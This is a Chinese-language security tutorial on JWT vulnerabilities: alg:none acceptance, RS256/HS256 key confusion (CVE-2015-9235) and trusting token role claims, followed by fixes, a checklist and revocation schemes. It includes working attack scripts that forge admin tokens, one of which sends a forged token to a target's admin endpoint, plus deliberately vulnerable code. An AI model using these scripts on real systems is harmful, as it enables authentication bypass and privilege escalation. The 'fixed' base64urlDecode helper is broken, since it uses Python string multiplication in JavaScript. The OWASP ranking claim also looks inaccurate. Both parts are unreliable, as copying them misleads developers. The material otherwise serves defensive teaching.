JWT 算法混淆攻防
"用 JWT 做认证,安全又方便"——但方便的同时,JWT 也带来了一系列独特的攻击面。尤其是算法验证不严导致的身份伪造,在 2022 年 OWASP Top 10 中被明确列为 API 安全的头号威胁。
一、JWT 结构回顾
Header.Payload.Signature
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "role": "ADMIN", "exp": 1516239022}
Signature: HMACSHA256(
base64url(Header) + "." + base64url(Payload),
secret
)
算法类型:
- 对称加密:HS256, HS384, HS512(用同一个密钥签和验)
- 非对称加密:RS256, ES256, PS256(私钥签,公钥验)
- None:完全不签名(某些库支持,严重隐患)
二、漏洞一:None 算法接受者
2.1 漏洞描述
服务端 JWT 实现接受 alg: None 算法的 token——签名部分为空,任何 token 都能"通过验证"。
2.2 漏洞代码(旧版 jsonwebtoken 库)
// VULNERABLE: 没有限制算法,接受 None
const jwt = require('jsonwebtoken');
const secret = 'my-super-secret';
// 签发(正常)
const token = jwt.sign({ role: 'USER' }, secret, { algorithm: 'HS256' });
// 验证(❌ 没有 algorithms 限制!)
// 旧版 jsonwebtoken 默认接受包括 None 在内的多种算法
const decoded = jwt.verify(token, secret); // ✅ 正常 token 通过
2.3 攻击:构造 None 算法 token
Python 脚本用 PyJWT(或手动 base64 拼接)生成 None 算法 token:
import base64, json
def b64url_encode(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
# None 算法的 Header
header = {"alg": "none", "typ": "JWT"}
# 伪造的 Payload
payload = {
"sub": "1",
"username": "admin",
"role": "ADMIN", # ❌ 直接提升为管理员
"exp": 9999999999, # 过期时间设到 2286 年
"iat": 1700000000,
}
# None 算法的 Signature 是空字符串
fake_token = f"{b64url_encode(header)}.{b64url_encode(payload)}." # 末尾空的
print(f"伪造 token: {fake_token}")
# 服务端如果接受 None 算法 → 完美通过!
2.4 Node.js 手动构造 None token
// 手动构造一个 None 算法的 JWT
function b64url(obj) {
return Buffer.from(JSON.stringify(obj)).toString('base64url').replace(/=+$/, '');
}
const header = { alg: 'none', typ: 'JWT' };
const payload = {
sub: '1',
role: 'ADMIN',
exp: Math.floor(Date.now() / 1000) + 31536000,
};
// None 算法的签名部分是空字符串
const noneToken = `${b64url(header)}.${b64url(payload)}.`;
console.log(noneToken);
// 如果服务端用的是旧版 jsonwebtoken,这个 token 可能能通过验证
2.5 修复
// FIXED: 严格指定只接受哪些算法
const jwt = require('jsonwebtoken');
// ✅ 明确限制算法为 HS256
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'], // 只允许 HS256,拒绝 None 和其他
});
// 更安全:白名单 + 类型检查
const result = jwt.verify(token, secret, {
algorithms: ['HS256', 'RS256'],
ignoreExpiration: false,
issuer: 'my-app',
audience: 'my-api',
});
// 最佳实践:用 jose 库或新版 jsonwebtoken (默认已经拒绝 None)
// 如果使用的是旧版本,升级库版本是当务之急
三、漏洞二:算法混淆 Attack(公钥当密钥用)
3.1 漏洞描述
这是 CVE-2015-9235(alg:none 之外最危险的 JWT 漏洞)。当应用同时支持 对称算法(HS256) 和 非对称算法(RS256) 时:
- RS256 用 私钥 签名,公钥 验签
- HS256 用 同一个密钥 签名和验签
问题来了:如果攻击者把 RS256 的公钥拿来当 HS256 的密钥签名,服务端会用公钥当 HS256 的密钥来验签——就通过了!
3.2 攻击原理
正常流程:
签发: RS256(PRIVATE_KEY, payload) → token
验签: RS256(PUBLIC_KEY, token) → 对 ✅
攻击流程:
攻击者拿到 PUBLIC_KEY(公钥本来就是公开的)
攻击者签发: HS256(PUBLIC_KEY, malicious_payload) → fake_token
服务端验签:
header.alg = "HS256"(攻击者改了)
服务端用什么密钥?
如果服务端把 PUBLIC_KEY 当 HS256 的 secret 用
→ HS256(PUBLIC_KEY, payload) == attacker 的签名 → 对了!✅
3.3 漏洞代码
// VULNERABLE: 公钥同时用作 HS256 和 RS256 验签
const jwt = require('jsonwebtoken');
const fs = require('fs');
const publicKey = fs.readFileSync('public.pem'); // 公开的 RSA 公钥
const privateKey = fs.readFileSync('private.pem');
app.use(authMiddleware);
function authMiddleware(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Unauthorized' });
// ❌ 根据 token header 里的 alg 选择验签方式,而且密钥复用了!
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'HS256'], // 同时接受两种,而且公钥在两个里面都能用
});
// 攻击者把 token 的 alg 改成 HS256
// 然后用公钥当 secret 来签 → 完美通过
req.user = decoded;
next();
}
3.4 攻击脚本
# CVE-2015-9235 利用脚本
import jwt, base64
# 1. 从服务端拿到公钥
public_key = open('public.pem').read()
# 2. 构造恶意 payload
payload = {
"sub": "1",
"role": "ADMIN", # 提权
"username": "attacker",
"iss": "original-app",
}
# 3. 用公钥当 HS256 的 secret 来签名
# 注意:key 需要是 bytes 类型
key_bytes = public_key.encode()
# 用 HS256 算法 + 公钥(当 secret)签名
malicious_token = jwt.encode(
payload,
key_bytes,
algorithm='HS256'
)
# 4. 发送给服务端
import requests
resp = requests.get(
'http://target/admin/users',
headers={'Authorization': f'Bearer {malicious_token}'}
)
print(f"Status: {resp.status_code}") # 200 → 成功提权!
3.5 修复
// FIXED: 严格区分算法类型和密钥类型
const jwt = require('jsonwebtoken');
const rsaPublicKey = fs.readFileSync('public.pem');
const hmacSecret = process.env.JWT_HMAC_SECRET; // 独立的 HMAC 密钥
function authMiddleware(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Unauthorized' });
// ✅ 先解析 header,再根据 alg 选择对应的密钥
const header = JSON.parse(base64urlDecode(token.split('.')[0]));
let decoded;
if (header.alg === 'RS256') {
// 非对称算法 → 只能用公钥验签
decoded = jwt.verify(token, rsaPublicKey, { algorithms: ['RS256'] });
} else if (header.alg === 'HS256') {
// 对称算法 → 用独立的 HMAC 密钥,绝对不能用公钥
decoded = jwt.verify(token, hmacSecret, { algorithms: ['HS256'] });
} else {
// ❌ 其他算法一律拒绝(包括 None、RS384、EdDSA 等未授权算法)
return res.status(401).json({ error: '算法不允许' });
}
req.user = decoded;
next();
}
function base64urlDecode(str) {
str += '=' * (4 - str.length % 4);
return Buffer.from(str, 'base64').toString();
}
四、漏洞三:payload 注入(类型混淆)
4.1 场景一:user_id 类型混淆
// 服务端期望 sub 是数字
const user = await db.User.findById(req.user.sub);
// 攻击者传字符串 "12345" 和数字 12345 可能导致不同的数据库行为
// 某些 ORM 会把字符串 ID 强制转换,导致类型混淆
// 更糟的是如果是 NoSQL:
// db.User.find({ _id: req.user.sub })
// 攻击者传 { $ne: null } 可能绕过
4.2 场景二:role 字段的 JSON 注入
// VULNERABLE: 信任 token 里的 role 字段
function requireAdmin(req, res, next) {
if (req.user.role !== 'ADMIN') {
return res.status(403).json({ error: 'Forbidden' });
}
next();
}
// 攻击者签名前在 payload 里加上 role: "ADMIN"
// 服务端就会认为他是管理员
// FIXED: 权限数据从数据库获取,不信任 token 中的角色
async function loadUser(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
const decoded = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
// ✅ 从数据库重新加载权限,而不是信任 token 中的 role
const user = await db.User.findOne({ where: { id: decoded.sub } });
if (!user) return res.status(401).json({ error: '用户不存在' });
req.user = user; // 包含数据库中的真实 role
next();
}
五、JWT 安全验证清单
| 检查项 | 要求 |
|---|---|
| 算法限制 | 白名单,只允预先授权的算法(如 ['RS256']) |
| 拒绝 None | 显式拒绝 alg: none,升级到新版 JWT 库 |
| 密钥分离 | 对称密钥和非对称密钥严格分离,不能混用 |
| 算法-密钥绑定 | RS256 只用公钥,HS256 只用 HMAC secret |
| 过期校验 | 必须校验 exp(expiration)字段 |
| 签发者校验 | 校验 iss(issuer)字段,防止第三方签发 |
| 受众校验 | 校验 aud(audience)字段 |
| 签名校验 | 总是验证签名,永不在签名前信任 payload |
| 权限加载 | 角色/权限从数据库加载,不信任 token 中的角色字段 |
| 传输安全 | HTTPS only,防止 token 被窃取 |
| 存储位置 | 前端用 httpOnly Cookie 存,不要存 localStorage |
完整的安全 JWT 签发 + 验证实现
const jwt = require('jsonwebtoken');
const jose = require('jose'); // 更现代的 JWT 库
// 签发(服务端)
async function issueToken(user) {
const secret = new TextEncoder().encode(process.env.JWT_SECRET);
return new jose.SignJWT({
username: user.username,
})
.setProtectedHeader({ alg: 'HS256' })
.setIssuer('my-app') // iss
.setAudience('my-api') // aud
.setSubject(String(user.id)) // sub
.setIssuedAt() // iat
.setExpirationTime('2h') // exp: 2 小时后过期
.sign(secret);
}
// 验证(服务端)
async function verifyToken(token) {
const secret = new TextEncoder().encode(process.env.JWT_SECRET);
const { payload, protectedHeader } = await jose.jwtVerify(token, secret, {
issuer: 'my-app',
audience: 'my-api',
algorithms: ['HS256'], // ✅ 严格算法限制
maxTokenAge: '2h', // ✅ 额外保障:检查 token 签发时间
});
return {
id: payload.sub,
username: payload.username,
};
}
// 配合权限中间件(权限从数据库加载)
async function authMiddleware(req, res, next) {
try {
const authHeader = req.headers.authorization;
if (!authHeader?.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Unauthorized' });
}
const token = authHeader.slice(7);
const claims = await verifyToken(token);
// ✅ 从数据库加载最新权限
const user = await db.User.findOne({
where: { id: claims.id },
include: [{ model: db.Role, attributes: ['name', 'permissions'] }],
});
if (!user || !user.isActive) {
return res.status(401).json({ error: '账号不可用' });
}
req.user = user;
next();
} catch (err) {
if (err.code === 'ERR_JWT_EXPIRED') {
return res.status(401).json({ error: 'Token 已过期' });
}
if (err.code === 'ERR_JWS_SIGNATURE_VERIFICATION_FAILED') {
return res.status(401).json({ error: '签名无效' });
}
return res.status(401).json({ error: 'Token 验证失败' });
}
}
六、Token 吊销问题
JWT 是无状态的——一旦签发就不能撤销。但实际中你需要踢人下线。
6.1 黑名单方案(Redis)
// 登出时把 jti(JWT ID)加入黑名单
async function logout(req, res) {
const token = req.headers.authorization.split(' ')[1];
const decoded = jwt.decode(token); // 只解码,不验签拿 jti
await redis.set(
`jwt:blacklist:${decoded.jti}`,
'1',
'EX', Math.ceil((decoded.exp - Date.now() / 1000)) // 过期自动清理
);
res.json({ success: true });
}
// 验证时检查黑名单
async function verifyToken(token) {
const { payload } = await jose.jwtVerify(token, secret, {
algorithms: ['HS256'],
issuer: 'my-app',
});
// ✅ 检查黑名单
const isBlocked = await redis.get(`jwt:blacklist:${payload.jti}`);
if (isBlocked) {
throw new Error('Token 已吊销');
}
return payload;
}
6.2 短周期 Access Token + 长周期 Refresh Token
登录成功:
签发 Access Token (15 分钟, HS256, 存 httpOnly Cookie)
签发 Refresh Token (30 天, 存 httpOnly Cookie, 存 DB)
Access Token 过期:
前端用 Refresh Token 请求 /api/refresh
服务端验证 Refresh Token → 签发新 Access Token
Refresh Token 用完即毁(轮换)
Refresh Token 泄露:
用户修改密码 → 所有 Refresh Token 失效
踢人下线 → 该 Refresh Token 加入黑名单
七、总结
JWT 攻击的核心是:信任了不该信任的东西——None 算法被接受、公钥被当 HMAC secret 用、payload 里的角色被直接当权限。
防御 JWT 的 4 条铁律:
- 算法白名单:
algorithms: ['RS256']而不是接受所有 - 密钥隔离:公钥做公钥的事,secret 做 secret 的事,绝不混用
- 签名先于信任:验证签名之后才能访问 payload 里的任何字段
- 数据外部化:角色、权限从数据库加载,不要塞进 JWT payload
JWT 本身没问题,问题在于实现者没有理解 JWT 的信任边界。